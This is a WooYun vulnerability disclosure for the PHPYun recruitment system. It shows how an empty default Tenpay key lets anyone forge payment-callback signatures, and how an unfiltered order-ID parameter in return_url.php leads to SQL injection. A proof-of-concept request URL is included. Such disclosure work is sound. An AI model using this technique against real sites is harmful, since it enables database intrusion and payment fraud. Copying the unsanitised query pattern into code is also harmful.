当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043745

漏洞标题:php云人才系统 注入漏洞

相关厂商:php云人才系统

漏洞作者: Matt

提交时间:2013-11-22 17:43

修复时间:2014-02-20 17:44

公开时间:2014-02-20 17:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-22: 细节已通知厂商并且等待厂商处理中
2013-11-22: 厂商已经确认,细节仅向厂商公开
2013-11-25: 细节向第三方安全合作伙伴开放
2014-01-16: 细节向核心白帽子及相关领域专家公开
2014-01-26: 细节向普通白帽子公开
2014-02-05: 细节向实习白帽子公开
2014-02-20: 细节向公众公开

简要描述:

php云人才系统 注入漏洞

详细说明:

php云人才系统 注入漏洞
tenpay的KEY没有初始化
导致的注入漏洞!

/api/tenpay/return_url.php
require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");
require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");
$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);
/* 密钥 */
$key =$tenpay[sy_tenpaycode];
//密钥没有定义
=========
tenpay_data.php
<?php
/*
* Created on 2012
* Link for [email protected]
* This PHPYun.Rencai System Powered by PHPYun.com
*/
$tenpaydata=array("sy_weburl"=>"http://www.job.com","sy_tenpayid"=>"","sy_tenpaycode"=>"")//没有定义KEY 所以是空~~
;
?>
=========
/* 创建支付应答对象 */
$resHandler = new PayResponseHandler();
$resHandler->setKey($key);//还是key没有初始化~~
//判断签名
if($resHandler->isTenpaySign()) {//验证过程
/**********************************3
function isTenpaySign() {
$cmdno = $this->getParameter("cmdno");
$pay_result = $this->getParameter("pay_result");
$date = $this->getParameter("date");
$transaction_id = $this->getParameter("transaction_id");
$sp_billno = $this->getParameter("sp_billno");
$total_fee = $this->getParameter("total_fee");
$fee_type = $this->getParameter("fee_type");
$attach = $this->getParameter("attach");
$key = $this->getKey();

$signPars = "";
//组织签名串
$signPars = "cmdno=" . $cmdno . "&" .
"pay_result=" . $pay_result . "&" .
"date=" . $date . "&" .
"transaction_id=" . $transaction_id . "&" .
"sp_billno=" . $sp_billno . "&" .
"total_fee=" . $total_fee . "&" .
"fee_type=" . $fee_type . "&" .
"attach=" . $attach . "&" .
"key=" . $key;

$sign = strtolower(md5($signPars));//key是空 其他都是可控 我们之间就可以生成key 所以验证形同虚设 没有设置key的时候
***********************************/
//交易单号
$transaction_id = $resHandler->getParameter("transaction_id");
//本站单号
$sp_billno = $resHandler->getParameter("sp_billno");
//金额,以分为单位
$total_fee = $resHandler->getParameter("total_fee");
//支付结果
$pay_result = $resHandler->getParameter("pay_result");
//类型
$attach = $resHandler->getParameter("attach");
if( "0" == $pay_result ) {
//------------------------------
//处理业务开始
//------------------------------
//注意交易单不要重复处理
//注意判断返回金额
//处理本站信息开始
echo "select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'";
$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$sp_billno'");

$row=mysql_fetch_array($sql);

漏洞证明:

测试方法
http://127.0.0.1/yun3/api/tenpay/return_url.php?sign=ba7b763f604fb46432eac7fb601c55c1&sp_billno=1%27&pay_result=0

QQ截图20131122173445.jpg

修复方案:

过滤~~

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-11-22 18:55

厂商回复:

感谢您的提供!

最新状态:

暂无